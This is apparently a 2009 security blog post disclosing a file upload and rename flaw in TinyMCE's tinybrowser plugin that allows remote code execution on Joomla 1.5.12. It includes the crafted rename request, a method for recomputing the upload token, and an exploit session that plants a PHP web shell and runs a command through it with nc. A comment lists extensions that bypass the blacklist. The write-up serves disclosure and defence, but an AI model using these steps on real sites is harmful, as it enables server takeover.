Just press Exploit!

Surfing the web I came across this Core Impact update, and I told myself that I wanted a Joomla-RCE-exploit-copy, too! So, as detailed here, an arbitrary file uploading vulnerability affects TinyMCE 1.41.6. As stated in the advisory, the word arbitrary refers to files whose extensions are not listed in $tinybrowser['prohibited'] array in config_tinybrowser.php :

// Prohibited file extensions
$tinybrowser['prohibited'] = array('php','php3','php4','php5','phtml','asp','aspx','ascx',
'jsp', 'cfm','cfc','pl','bat','exe','dll','reg','cgi','sh',
'py','asa','asax','config','com','inc');


This means that we can't directly upload a dot-php script on the remote host. However, I noticed a delicious "rename" option that only permits to rename files preserving their original extension. Thanks to my trusty Burp Proxy I sniffed some HTTP requests during file renaming and here you are an example. Let's have a look :


POST /joomla/.../edit.php?type=image&folder=aaa%2F HTTP/1.1
Host: 192.168.1.5
Content-Type: application/x-www-form-urlencoded
Content-Length: 132

actionfile%5B0%5D=AAA.png&renameext%5B0%5D=png&
renamefile%5B0%5D=BBB.&action=rename



Ok, you are likely able to spot the problem. Attacker can manipulate the renameext[0] parameter resulting in an arbitrary file renaming. Just rename your AAA.png in AAA.php and get remote access! The next step was to automatically upload files via upload_file.php. The problem here is that the script implements a very rudimental mechanism to prevent direct file uploading. In upload_file.php, we can find this piece of code :


// Check hash is correct (workaround for
// Flash session bug, to stop external form posting)

if($_GET['obfuscate'] !=
md5($_SERVER['DOCUMENT_ROOT'].$tinybrowser['obfuscate'])) {
echo 'Error!'; exit;
}


The amazing token is built hashing the web root path name and the $tinybrowser['obfuscate'] variable's value (set to s0merand0mjunk!!!111 in config_tinybrowser.php). I used this additional vulnerability to get the path name. Obviously, should error messages be switched off, you would use the flash form to upload your images! Ok, that's all, here is the exploit and here is an exploitation session :


daath@shaytan:~$ php pwnoomla.php localhost /joomla

[-] Joomla 1.5.12 RCE via TinyMCE upload vulnerability [-]

[#] Attacking localhost:80/joomla/
[+] Web root pathname is : /var/www/
[+] Magic token is a8de65e217ed779dbda80eb04502a2da
[#] Creating remote directory ... DONE
[#] Uploading image ... DONE
[#] Renaming image's extension (takes a while) ... PWNED!
[+] Here is the php shell : /joomla/images/stories/i208661849/shell.php

daath@shaytan:~$ echo -e "GET /joomla/images/stories/i208661849/shell.php?cmd=ls%20-al%20shell.php HTTP/1.0\n\n" | nc localhost 80
HTTP/1.1 200 OK
Date: Mon, 28 Sep 2009 10:39:43 GMT
Server: Apache/2.2.9 (Ubuntu) PHP/5.2.6-2ubuntu4.3 with Suhosin-Patch
X-Powered-By: PHP/5.2.6-2ubuntu4.3
Vary: Accept-Encoding
Connection: close
Content-Type: text/html

-rw-r--r-- 1 www-data www-data 54 Sep 28 12:39 shell.php
daath@shaytan:~$


Have phun,
/daath

2 comments:

  Dan Crowley

December 10, 2009 at 8:01 AM

Certain web servers will process code in files with certain extensions this list doesn't include.

PHP:
.ph3
.ph4
.pht

SSI:
.shtml

I believe this NOT to be a comprehensive list, either. This is a perfect example of why you must whitelist, not blacklist.

(Nice find, btw ;D)

  سما احمد

September 12, 2015 at 3:56 AM

This comment has been removed by a blog administrator.